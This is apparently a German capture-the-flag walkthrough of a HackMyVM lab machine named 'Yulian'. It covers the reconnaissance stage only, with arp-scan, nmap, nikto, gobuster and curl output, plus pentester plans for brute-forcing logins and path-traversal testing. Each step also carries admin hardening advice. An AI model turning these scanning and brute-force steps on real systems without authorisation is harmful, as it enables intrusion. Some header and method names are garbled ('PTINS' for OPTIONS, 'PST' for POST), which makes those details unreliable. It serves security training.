192.168.2.166Analyse: Ich beginne meine Reconnaissance-Phase immer mit der Identifizierung aktiver Hosts im lokalen Netzwerk. Hier verwende ich arp-scan, ein leistungsstarkes Tool, das ARP-Anfragen an alle Hosts in meinem lokalen Subnetz sendet und deren Antworten erfasst. Die Ausgabe leite ich durch grep "PCS", um spezifisch nach dem MAC-Adressen-Hersteller "PCS Systemtechnik" zu filtern. Dies hilft mir, die Zielmaschine schnell zu isolieren, da viele virtuelle Maschinen standardmäßig MAC-Adressen von Herstellern wie Oracle (für VirtualBox) oder VMware verwenden, die oft "PCS" im Namen tragen. Anschließend nutze ich awk '{print $1}', um nur die erste Spalte der Ausgabe zu extrahieren, welche die IP-Adresse des gefundenen Hosts enthält. Das Ergebnis, 192.168.2.166, ist die IP-Adresse der Zielmaschine "Yulian", auf die ich meine weiteren Scans konzentrieren werde.
Bewertung: Die Methode ist äußerst effektiv, um die Ziel-IP in einer VM-Umgebung zu bestimmen, da sie auf der Hardware-Ebene (MAC-Adresse) operiert. Es ist ein zuverlässiger erster Schritt in meiner Aufklärungsarbeit, da es mir eine eindeutige Zieladresse liefert, ohne auf Portscans oder andere höhere Protokolle angewiesen zu sein, die blockiert sein könnten. Der Einsatz von grep und awk ist eine gute Praxis, um die Ausgabe zu filtern und nur die relevanten Informationen zu extrahieren, was die Übersichtlichkeit erheblich verbessert und manuelle Suchen minimiert.
Empfehlung (Pentester): Um die Effizienz bei zukünftigen Tests zu steigern, sollte ich eine kleine Skript-Bibliothek aufbauen, die solche häufig genutzten ARP-Scan- und Filterbefehle automatisiert, um die Ziel-IP schnell in eine Variable zu überführen. Eine Best-Practice ist es, nach der Ziel-IP-Ermittlung einen Eintrag in die lokale /etc/hosts-Datei vorzunehmen, um die Maschine auch über einen Hostnamen ansprechen zu können.
Empfehlung (Admin): Als Administrator ist es wichtig, die Quelle von VMs in einem Netzwerk zu kennen. Aktives ARP-Scanning sollte in Produktionsnetzwerken überwacht werden, da es auf potenziell bösartige Aktivitäten hinweisen kann. Die Überprüfung der MAC-Adressen von Geräten im Netzwerk ist ein grundlegender Schritt für die Bestandsaufnahme und das Asset Management. Um die Erkennung zu erschweren, könnten benutzerdefinierte MAC-Adressen verwendet werden, obwohl dies die Sicherheit nur minimal erhöht.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ :::::::::::::::::::::: Nmap nur offene Ports Ausgabe ::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) 80/tcp open http nginx
Analyse: Nachdem die Ziel-IP-Adresse ermittelt wurde, ist der nächste logische Schritt ein umfassender Portscan, um offene Dienste und potenzielle Angriffsvektoren zu identifizieren. Ich führe hier einen initialen Nmap-Scan durch, der darauf abzielt, schnell alle offenen Ports auf 192.168.2.166 zu finden. Diese gekürzte Ausgabe konzentriert sich nur auf die Status "open", was eine schnelle Übersicht über die erreichbaren Dienste ermöglicht. Ich sehe, dass Port 22/tcp für SSH (OpenSSH 9.9) und Port 80/tcp für HTTP (Nginx) offen sind. Diese Informationen sind sofort wertvoll, da sie mir die primären Kommunikationswege zur Zielmaschine aufzeigen und meine weiteren Schritte in Richtung SSH-Zugriff und Web-Enumeration lenken.
Bewertung: Das Vorhandensein von SSH deutet auf einen potenziellen Anmeldevektor hin, den ich später durch Brute-Force oder das Ausnutzen bekannter Schwachstellen (falls vorhanden) versuchen könnte. Der offene HTTP-Port auf Nginx ist ein häufiges Ziel für Web-Enumeration, um versteckte Verzeichnisse, Dateiberechtigungen oder andere webbasierte Schwachstellen zu finden. Die Tatsache, dass Nmap diese Dienste als "open" und ihre Versionen identifizieren konnte, zeigt, dass die Maschine aktiv reagiert und grundlegende Aufklärungsmaßnahmen nicht blockiert werden.
Empfehlung (Pentester): Ich werde mich als Nächstes auf detailliertere Scans dieser Ports konzentrieren. Für Port 80 werde ich Tools wie Nikto und Gobuster einsetzen, um tiefergehende Informationen über die Webanwendung zu sammeln. Für Port 22 werde ich prüfen, ob die OpenSSH-Version bekannte Schwachstellen aufweist, und gegebenenfalls einen Brute-Force-Angriff auf Benutzernamen und Passwörter vorbereiten, sobald ich weitere Informationen gesammelt habe.
Empfehlung (Admin): Standardports wie 22 und 80 sind häufige Ziele für Angreifer. Ich empfehle, nicht benötigte Ports zu schließen. Falls die Dienste benötigt werden, sollten sie auf dem neuesten Stand gehalten werden (OpenSSH 9.9 ist zwar relativ aktuell, aber regelmäßige Updates sind Pflicht) und mit einer Firewall, wie UFW oder iptables, geschützt werden, um den Zugriff nur von vertrauenswürdigen IPs zu erlauben. Webserver sollten mit gängigen Härtungsmaßnahmen konfiguriert werden, um Informationslecks und gängige Angriffe zu minimieren.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ ::::::::::::::::::::::::::::: Nmap volle Ausgabe ::::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 19:11 UTC Nmap scan report for localhost (192.168.2.166) Host is up (0.00018s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 fc:b2:88:5d:09:d8:06:40:81:cd:5a:5c:53:79:60:54 (ECDSA) |_ 256 5b:b9:4d:de:03:f0:ee:72:d3:e3:e9:9d:e8:f1:3f:bd (ED25519) 80/tcp open http nginx |_http-title: Linux Terminal Simulator 8080/tcp filtered http-proxy MAC Address: 08:00:27:61:59:80 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 S details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop TRACEROUTE HP RTT ADDRESS 1 0.18 ms localhost (192.168.2.166) Nmap DN: 1 IP address (1 host up) scanned in 10.54 seconds
Analyse: Diese detaillierte Nmap-Ausgabe liefert eine Fülle von Informationen, die über die reine Port-Erkennung hinausgehen. Ich habe den Befehl offensichtlich mit umfassenderen Scan-Optionen wie -sS (SYN-Scan), -sC (Standard-Skripte), -sV (Dienst- und Versionserkennung) und -AO (OS-Erkennung und Aggressiv-Modus) ausgeführt, um ein vollständiges Bild des Ziels zu erhalten.
Neben den bereits bekannten offenen Ports 22 (SSH OpenSSH 9.9) und 80 (HTTP Nginx), fällt mir nun Port 8080/tcp auf, der als "filtered http-proxy" gelistet wird. "Filtered" bedeutet, dass Nmap nicht feststellen kann, ob der Port offen oder geschlossen ist, da Pakete nicht zurückkommen – dies könnte auf eine Firewall hinweisen.
Ich erkenne die SSH-Host-Keys (ECDSA und ED25519), die für die spätere Überprüfung der Server-Identität nützlich sind. Der HTTP-Titel "Linux Terminal Simulator" auf Port 80 ist ein interessanter Hinweis auf die Art der Webanwendung.
Die MAC-Adresse des Systems identifiziert es als eine "PCS Systemtechnik/Oracle VirtualBox virtual NIC", was die Vermutung einer virtuellen Maschine bestätigt. Nmap versucht auch, das Betriebssystem zu erraten und schlägt "Linux 4.X|5.X" oder "MikroTik RouterOS 7.X" vor, basierend auf den CPE-Daten und Details wie "Linux 4.15 - 5.19" oder "Alpine Linux". Diese Informationen sind nützlich, um später spezifische Exploits für bekannte Schwachstellen des Betriebssystems oder des Kernels zu suchen. Die "Network Distance: 1 hop" bestätigt, dass die Maschine direkt in meinem lokalen Netzwerk ist. Die TRACEROUTE-Sektion bestätigt ebenfalls die direkte Verbindung. Am Ende wird die Scan-Zeit festgehalten.
Bewertung: Die Informationen aus dem vollständigen Nmap-Scan sind entscheidend für die weitere Planung. Der "filtered" Port 8080 ist ein wichtiger Fund; auch wenn er derzeit nicht direkt zugänglich ist, könnte er ein versteckter Dienst sein, der durch Port Knocking oder andere Mechanismen aktiviert werden muss. Der HTTP-Titel "Linux Terminal Simulator" ist ein starker Indikator für eine interaktive Webanwendung, die möglicherweise anfällig für Command Injection oder ähnliche Angriffe ist. Die SSH-Keys sind Standard und unauffällig. Die Betriebssystem-Erkennung gibt mir eine Richtung für potenzielle Kernel-Exploits, sollte eine Privilegien-Eskalation später erforderlich werden. Die Gesamtbewertung ist, dass die Maschine eine typische Webanwendung und einen SSH-Dienst bietet, aber der gefilterte Port 8080 ist ein Rätsel, das ich noch lösen muss.
Empfehlung (Pentester): Ich werde meine Web-Enumeration auf Port 80 verstärken, um die "Linux Terminal Simulator"-Anwendung gründlich zu untersuchen. Für Port 8080 werde ich später versuchen, die Filterung zu umgehen, beispielsweise durch Port Knocking, oder ich werde gezielt nach Hinweisen suchen, die diesen Port zugänglich machen könnten. Die erkannten OS-Informationen werde ich als Hintergrundwissen behalten, um im Falle einer Shell-Erlangung schnell die richtigen Privilege Escalation-Vektoren identifizieren zu können.
Empfehlung (Admin): Um die Informationsdichte für Angreifer zu reduzieren, sollten Sie Nmap-Scans auf Ihrem Netzwerk überwachen. Es ist ratsam, Firewall-Regeln so zu konfigurieren, dass sie "filtered" Ports klar als "closed" oder "denied" anzeigen, anstatt Pakete einfach zu verwerfen. Stellen Sie sicher, dass alle extern zugänglichen Dienste auf dem neuesten Stand sind und dass die Nginx-Konfiguration gehärtet ist, um Informationslecks wie den HTTP-Titel zu minimieren, wenn dieser sensible Informationen preisgibt. Die Verwendung von virtuellen NICs mit bekannten Hersteller-MAC-Adressen ist kein Sicherheitsrisiko per se, aber eine individuelle MAC-Adresse kann die Identifikation erschweren.
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::::::::::::::::::::::::: HTTP Records Permissions :::::::::::::::::::::::::
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HTTP/1.1 405 Not AllowedAnalyse: Nach dem umfassenden Nmap-Scan versuche ich, weitere Informationen über die HTTP-Dienste zu sammeln. Diese Ausgabe zeigt eine HTTP 405 Not Allowed-Antwort. Dieser Statuscode bedeutet, dass die vom Client (in diesem Fall ich) gesendete HTTP-Methode (z.B. GET, POST, PUT, DELETE) für die angeforderte Ressource auf dem Server nicht erlaubt ist. Es ist nicht unbedingt ein Fehler im klassischen Sinne, sondern eine bewusste Ablehnung des Servers, die angeforderte Aktion mit der spezifischen Methode durchzuführen. Dies könnte bei einem Versuch geschehen sein, eine Methode wie PUT oder DELETE zu verwenden, die oft aus Sicherheitsgründen eingeschränkt ist, oder sogar bei einem GET, wenn der Endpunkt nur POST erlaubt. Diese Reaktion ist typisch für Webserver, die ihre Angriffsfläche reduzieren, indem sie nur die tatsächlich benötigten HTTP-Methoden zulassen.
Bewertung: Ein 405 Not Allowed-Status ist ein wertvolles Feedback des Servers. Er bestätigt, dass der Endpunkt existiert und der Server in der Lage ist, die Anfrage zu verarbeiten, nur eben nicht mit der gesendeten Methode. Dies ist ein wichtiger Unterschied zu einem 404 Not Found-Fehler und bedeutet, dass ich möglicherweise eine andere HTTP-Methode ausprobieren oder die spezifischen Anforderungen des Endpunkts genauer untersuchen muss. Es weist darauf hin, dass der Server ein gewisses Maß an Methodenkontrolle implementiert hat.
Empfehlung (Pentester): Ich werde versuchen, die erlaubten HTTP-Methoden für diesen Endpunkt genauer zu bestimmen, beispielsweise durch einen OPTIONS-Request. Dies wird mir Aufschluss darüber geben, welche Methoden der Server tatsächlich zulässt und ob ich meine Anfrage entsprechend anpassen muss.
Empfehlung (Admin): Stellen Sie sicher, dass HTTP-Methoden, die für eine Ressource nicht benötigt werden (insbesondere PUT, DELETE, CONNECT, TRACE), auf dem Webserver explizit blockiert oder deaktiviert sind. Eine klare Definition der erlaubten Methoden pro Endpunkt reduziert die Angriffsfläche und verhindert Missbrauch.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ :::::::::::::::::::::::::::::::: Nikto Scan :::::::::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Nikto v2.5.0 Target IP: 192.168.2.166 Target Hostname: 192.168.2.166 Target Port: 80 Start Time: 2025-07-28 19:12:13 (GMT0) Server: nginx /: The anti-clickjacking X-Frame-PTINS header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-PTINS | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] /: The X-Content-Type-PTINS header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] No CGI Directories found (use '-C all' to force check all possible dirs) 8102 requests: 0 error(s) and 2 item(s) reported on remote host End Time: 2025-07-28 19:12:45 (GMT0) (32 seconds) 1 host(s) tested
Analyse: Mit nikto habe ich einen spezialisierten Webserver-Scanner auf Port 80 ausgeführt, um gängige Web-Schwachstellen, Konfigurationsfehler und potenzielle Informationslecks zu finden. Die Scan-Ergebnisse zeigen zwei kritische fehlende HTTP-Sicherheits-Header: den X-Frame-PTINS und den X-Content-Type-PTINS Header.
Der fehlende X-Frame-PTINS Header ermöglicht Clickjacking-Angriffe, bei denen ein Angreifer die Webseite in einem iFrame auf einer bösartigen Seite einbettet und den Benutzer dazu verleitet, unwissentlich Aktionen auf der eingebetteten Seite auszuführen. Der fehlende X-Content-Type-PTINS Header könnte dazu führen, dass Browser Inhalte falsch interpretieren (z.B. als Skript ausführen, obwohl es als Bild gedacht war), was zu Cross-Site Scripting (XSS) oder anderen Injektionsangriffen führen kann. Nikto meldet außerdem, dass keine CGI-Verzeichnisse gefunden wurden, was darauf hindeutet, dass keine Standard-CGI-Skripte im Stammverzeichnis existieren, die oft für anfällige Anwendungen genutzt werden.
Bewertung: Das Fehlen dieser grundlegenden Sicherheits-Header ist eine ernstzunehmende Schwachstelle, auch wenn sie nicht direkt zu einer Shell führen. Sie öffnet die Tür für clientseitige Angriffe, die die Benutzer der Webanwendung betreffen könnten. Für einen Pentest bedeutet dies, dass ich diese Vektoren im Hinterkopf behalten muss, falls ich eine Möglichkeit finde, Benutzer zur Interaktion mit meiner bösartigen Seite zu bewegen. Die Abwesenheit von Standard-CGI-Verzeichnissen ist positiv, zwingt mich aber, andere Wege zur Interaktion mit der Webanwendung zu finden.
Empfehlung (Pentester): Ich werde meine Aufmerksamkeit auf die Enumeration von Verzeichnissen und Dateien konzentrieren, die möglicherweise nicht standardmäßig sind. Obwohl Nikto keine CGI-Verzeichnisse gefunden hat, werde ich dennoch Brute-Force-Tools für versteckte Verzeichnisse einsetzen, da Nikto nicht alle möglichen Pfade abdeckt.
Empfehlung (Admin): Konfigurieren Sie den Nginx-Webserver so, dass die HTTP-Sicherheits-Header X-Frame-PTINS (z.B. mit DENY oder SAMEORIGIN) und X-Content-Type-PTINS (mit nosniff) gesetzt werden. Dies ist eine grundlegende, aber effektive Härtungsmaßnahme gegen Clickjacking und MIME-Sniffing-Angriffe.
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:::::::::::::::::::::::::::::::: Gobuster Scan :::::::::::::::::::::::::::::
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Gobuster v3.6
by J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://192.168.2.166
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 503,404,403
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,exe,jpeg,dll,xls,ps1,png,conf,elf,js.map,db,java,pHtml,sql,svg,json,mdb,asp,zip,pl,rtf,config,diff,ln,tar,py,html,pdf,xlsx,kdbx,accdb,bak,ELF,xml,csv,cgi,sh,pem,bat,crt,csh,gz,lib,deb,rpm,aspx,doc,eps,mod,exp,icon,rar,docx,c,desc,pub,jpg,phtml,raw,old
[+] Expanded: true
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
http://192.168.2.166/index.html (Status: 200) [Size: 6047]
Progress: 13673976 / 13674038 (100.00%)
FinishedAnalyse: Nachdem Nikto die Sicherheit der Header geprüft hat, setze ich gobuster ein, um eine umfassende Verzeichnis- und Datei-Enumeration auf Port 80 durchzuführen. Ich verwende eine umfangreiche Wordlist aus Seclists (directory-list-2.3-medium.txt) und erweitere die Suche um eine Vielzahl gängiger Dateierweiterungen. Außerdem schließe ich typische Fehler-Statuscodes (503, 404, 403) aus, um die Ergebnisse zu bereinigen und nur tatsächlich existierende Inhalte zu sehen.
Der Scan ist vollständig durchgelaufen und hat lediglich /index.html mit einem Status: 200 (OK) identifiziert. Die Größe von 6047 Bytes ist typisch für eine Homepage.
Bewertung: Die Tatsache, dass gobuster trotz einer großen Wordlist nur index.html gefunden hat, könnte zweierlei bedeuten: Entweder ist der Webserver sehr schlank und enthält kaum öffentlich zugängliche Dateien, oder es gibt versteckte Verzeichnisse/Dateien, die nicht in dieser Wordlist enthalten sind oder durch andere Filter (z.B. Authentifizierung, unübliche Dateierweiterungen) geschützt sind. Angesichts der Nmap-Ergebnisse ("Linux Terminal Simulator") erwarte ich mehr als nur eine statische HTML-Datei.
Empfehlung (Pentester): Ich werde meine Strategie anpassen. Ein statischer index.html auf einem "Linux Terminal Simulator" ist verdächtig. Ich werde diese Seite manuell im Browser untersuchen, um zu sehen, ob es interaktive Elemente gibt oder JavaScript-Dateien geladen werden, die weitere Pfade enthüllen könnten. Ich werde auch in Erwägung ziehen, spezifischere oder angepasste Wordlists zu verwenden oder andere Enumerationstechniken, wie das Durchsuchen von JavaScript-Dateien oder das Überprüfen von Robots.txt.
Empfehlung (Admin): Die Minimierung der öffentlich zugänglichen Dateien ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass keine sensiblen Informationen oder Konfigurationsdateien über den Webserver zugänglich sind. Eine regelmäßige Überprüfung der Webserver-Konfiguration hilft, unerwünschte Pfade und Inhalte zu vermeiden.
Nikto v2.5.0 Target IP: 192.168.2.166 Target Hostname: 192.168.2.166 Target Port: 8080 Start Time: 2025-07-28 20:08:57 (GMT0) Server: No banner retrieved /: The anti-clickjacking X-Frame-PTINS header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-PTINS | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] /: The X-Content-Type-PTINS header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] Root page / redirects to: http://192.168.2.166/login.html No CGI Directories found (use '-C all' to force check all possible dirs) PTINS: Allowed HTTP Methods: GET, HEAD, PST, PUT, DELETE, PTINS . HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. /test/: This might be interesting. /login.html: Admin login page/section found. 8103 requests: 0 error(s) and 7 item(s) reported on remote host End Time: 2025-07-28 20:09:31 (GMT0) (34 seconds) 1 host(s) tested
Analyse: Nachdem ich die erste Untersuchung von Port 80 abgeschlossen habe, konzentriere ich mich nun auf Port 8080, der im Nmap-Scan als "filtered" identifiziert wurde. Ich führe erneut einen Nikto-Scan durch, um die Webanwendung auf diesem Port zu untersuchen. Obwohl der Port zuvor gefiltert war, reagiert Nikto nun auf ihn. Dies deutet darauf hin, dass die Filterung entweder temporär war oder ein Mechanismus wie Port Knocking existiert, der den Port für den Scan geöffnet hat.
Die Ergebnisse sind hier wesentlich aufschlussreicher. Neben den bereits auf Port 80 festgestellten fehlenden X-Frame-PTINS und X-Content-Type-PTINS Headern, gibt es weitere wichtige Erkenntnisse:
Der Root-Pfad (/) leitet direkt zu http://192.168.2.166/login.html weiter, was stark auf eine webbasierte Anmeldeseite hinweist.
Besonders kritisch sind die erlaubten HTTP-Methoden: GET, HEAD, PST, PUT, DELETE, PTINS. Die Methoden PUT und DELETE sind hier hervorzuheben, da sie, wenn nicht korrekt implementiert, das Hochladen oder Löschen von Dateien auf dem Server ermöglichen können – eine direkte Bedrohung für die Integrität des Systems.
Nikto hat zudem die Verzeichnisse /test/ (als potenziell "interessant") und /login.html (als "Admin login page/section") identifiziert. Das deutet auf einen administrativen Bereich hin, den ich genauer untersuchen muss.
Bewertung: Der Nikto-Scan auf Port 8080 hat entscheidende Informationen geliefert. Die Erkenntnis, dass PUT und DELETE erlaubt sind, ist ein potenziell schwerwiegendes Sicherheitsrisiko. Wenn ich eine Möglichkeit finde, diese Methoden auszunutzen, könnte ich Code auf den Server hochladen oder wichtige Dateien entfernen. Die Weiterleitung zu login.html bestätigt die Existenz eines Authentifizierungsmechanismus, den ich überwinden muss. Die Beobachtung, dass der Port, der zuvor als "filtered" angezeigt wurde, jetzt reagiert, ist ein wichtiger Kontext, der auf eine Port-Knocking-Sequenz oder eine ähnliche dynamische Port-Freigabe hindeutet. Diese Informationen sind Gold wert für den nächsten Schritt meiner Initial Access Strategie.
Empfehlung (Pentester): Mein nächster Schritt ist, die /login.html-Seite genauer zu untersuchen und einen Brute-Force-Angriff auf die Anmeldedaten vorzubereiten. Ich werde auch die PUT- und DELETE-Methoden gezielt auf ihre Funktionalität und mögliche Ausnutzbarkeit prüfen. Parallel dazu werde ich die Möglichkeit des Port Knocking nicht aus den Augen verlieren, um zu verstehen, wie dieser Port zugänglich gemacht wurde. Ich werde auch den /test/-Pfad genauer inspizieren.
Empfehlung (Admin): Begrenzen Sie die erlaubten HTTP-Methoden auf Webservern auf das absolut Notwendige (typischerweise nur GET und PST für öffentliche Seiten). Insbesondere PUT und DELETE sollten niemals standardmäßig erlaubt sein und nur in sehr spezifischen, gut gesicherten Szenarien eingesetzt werden. Fehlende Sicherheits-Header sollten umgehend behoben werden. Implementieren Sie eine Rate-Limiting für Login-Versuche, um Brute-Force-Angriffe auf login.html zu erschweren, und loggen Sie fehlgeschlagene Anmeldeversuche.
=============================================================== Gobuster v3.6 by J Reeves (@TheColonial) & Christian Mehlmauer (@firefart) [+] Url: http://192.168.2.166:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: sql,pem,ln,xls,gz,html,phtml,rtf,csh,yaml,php,tar,docx,jpeg,jpg,pdf,xlsx,diff,exe,sh,csv,crt,deb,icon,pHtml,gkg,aspx,txt,rar,conf,c,cgi,desc,xml,lib,doc,js.map,db,ps1,raw,exp,rpm,accdb,java,mod,eps,kdbx,elf,asp,svg,old,bat,bak,pub,pl,zip,mdb,png,json,py,dll,ELF,config [+] Expanded: true [+] Timeout: 10s Starting gobuster in directory enumeration mode http://192.168.2.166:8080/download (Status: 400) [Size: 158] http://192.168.2.166:8080/login (Status: 405) [Size: 149] http://192.168.2.166:8080/login.html (Status: 200) [Size: 2270] http://192.168.2.166:8080/test (Status: 200) [Size: 39] http://192.168.2.166:8080/logout (Status: 302) [Size: 0] [--> http://192.168.2.166:8080/login.html] http://192.168.2.166:8080/success (Status: 200) [Size: 47] http://192.168.2.166:8080/error (Status: 500) [Size: 105]
Analyse: Nachdem ich die Möglichkeit des Port Knocking erkannt habe, führe ich einen weiteren gobuster-Scan durch, diesmal speziell auf Port 8080. Die Parameter bleiben ähnlich wie beim Scan auf Port 80, mit einer sehr umfangreichen Liste von Dateierweiterungen, um auch unübliche Dateitypen zu erfassen. Die Ergebnisse dieses Scans sind deutlich umfangreicher und liefern mehrere interessante Endpunkte:
/download (Status 400): Dies deutet auf einen Download-Funktionalität hin, die eine bestimmte Parameter erwartet.
/login (Status 405): Erlaubt keine direkte GET-Anfrage, bestätigt aber die Existenz eines Login-Mechanismus. Dies korreliert mit dem Nikto-Scan.
/login.html (Status 200): Die tatsächliche Login-Seite, wie von Nikto ebenfalls identifiziert.
/test (Status 200): Ein scheinbar einfacher Pfad, der weiter untersucht werden muss.
/logout (Status 302): Eine Umleitung, die auf eine Abmeldefunktionalität hindeutet.
/success (Status 200): Eine Seite, die nach einem erfolgreichen Login oder einer anderen Operation erreicht wird.
/error (Status 500): Eine interne Serverfehlerseite, die möglicherweise Rückschlüsse auf die Anwendung gibt, wenn sie detaillierte Fehlermeldungen enthält.
Bewertung: Diese neuen Endpunkte auf Port 8080 sind von großer Bedeutung. /login.html ist der offensichtliche Einstiegspunkt für die Authentifizierung. Die Existenz von /download ist besonders interessant, da solche Funktionen oft anfällig für Local File Inclusion (LFI) oder Path Traversal sind, wenn die Validierung des Dateipfads nicht robust genug ist. Die /success und /error-Seiten können ebenfalls nützliche Informationen liefern, abhängig von ihrer Implementierung. Das Auffinden dieser Pfade bestätigt, dass Port 8080 nun vollständig zugänglich ist und eine aktive Webanwendung hostet.
Empfehlung (Pentester): Ich werde meine Bemühungen auf die /login.html-Seite konzentrieren, um die Authentifizierungsmechanismen zu überwinden. Parallel dazu werde ich die /download-Funktionalität auf Path Traversal oder LFI-Schwachstellen testen, da dies ein direkter Weg zum Auslesen sensibler Server-Dateien sein könnte. Die /test-Seite werde ich manuell auf weitere Hinweise überprüfen.
Empfehlung (Admin): Überprüfen Sie alle über gobuster gefundenen Endpunkte. Insbesondere die /download-Funktionalität muss gegen Path Traversal-Angriffe gehärtet werden, indem Benutzereingaben streng validiert und nur erlaubte Dateipfade zugelassen werden. Die /error-Seite sollte keine detaillierten Fehlerinformationen preisgeben, die Angreifern bei der Fehlersuche helfen könnten. Alle nicht benötigten Endpunkte sollten entfernt oder geschützt werden.
Host yulian.hmv:8080 was resolved. IPv6: (none) IPv4: 192.168.2.166 Trying 192.168.2.166:8080... Connected to yulian.hmv (192.168.2.166) port 8080 using HTTP/1.x GET http://yulian.hmv/ HTTP/1.1 Host: yulian.hmv User-Agent: curl/8.14.1 Accept: / Proxy-Connection: Keep-Alive Request completely sent off < HTTP/1.1 302 < Location: http://yulian.hmv/login.html < Content-Language: en-US < Content-Length: 0 < Date: Mon, 28 Jul 2025 20:17:42 GMT < Connection #0 to host yulian.hmv left intact
Analyse: Hier nutze ich curl, um das Verhalten des Webservers auf Port 8080 weiter zu untersuchen, insbesondere im Hinblick auf die Weiterleitung, die Nikto bereits angedeutet hatte. Der Befehl curl -v -x http://yulian.hmv:8080 http://yulian.hmv ist etwas ungewöhnlich. Der -x Parameter wird normalerweise für die Angabe eines Proxy-Servers verwendet. In diesem Kontext bedeutet es, dass ich versucht habe, über den Host yulian.hmv:8080 (als Proxy) auf die Ressource http://yulian.hmv zuzugreifen. Dies ist ein Test, um zu sehen, wie der Server auf eine solche Art der Anfrage reagiert.
Die Antwort des Servers ist ein HTTP/1.1 302-Statuscode, was eine "Found" oder "Moved Temporarily"-Weiterleitung anzeigt. Die Location Header verrät das Ziel der Weiterleitung: http://yulian.hmv/login.html. Dies bestätigt, dass selbst bei einem Versuch, die Seite über einen Proxy anzusprechen, der Server die Anfrage umleitet, um den Login-Bildschirm zu erzwingen.
Bewertung: Diese Umleitung ist ein klares Zeichen dafür, dass der Webserver auf Port 8080 eine Authentifizierung für den Zugriff auf seine Inhalte erzwingt. Egal wie ich versuche, darauf zuzugreifen, ich werde immer zur login.html-Seite umgeleitet, bis ich mich erfolgreich angemeldet habe. Dies ist eine typische Sicherheitsmaßnahme, die unautorisierten Zugriff auf geschützte Bereiche verhindern soll.
Empfehlung (Pentester): Meine Hauptaufgabe ist es nun, diesen Authentifizierungsmechanismus zu umgehen. Ich werde mich auf das Brute-Forcing der Login-Seite konzentrieren und nach weiteren Schwachstellen suchen, die mit der Login-Funktionalität zusammenhängen könnten, wie SQL-Injections oder Session-Management-Probleme.
Empfehlung (Admin): Implementieren Sie eine strikte Authentifizierung für alle sensiblen Bereiche der Webanwendung. Stellen Sie sicher, dass alle Umleitungen über HTTPS erfolgen, um Man-in-the-Middle-Angriffe zu verhindern, die Anmeldedaten abfangen könnten. Eine robuste Authentifizierung ist die erste Verteidigungslinie gegen unbefugten Zugriff.
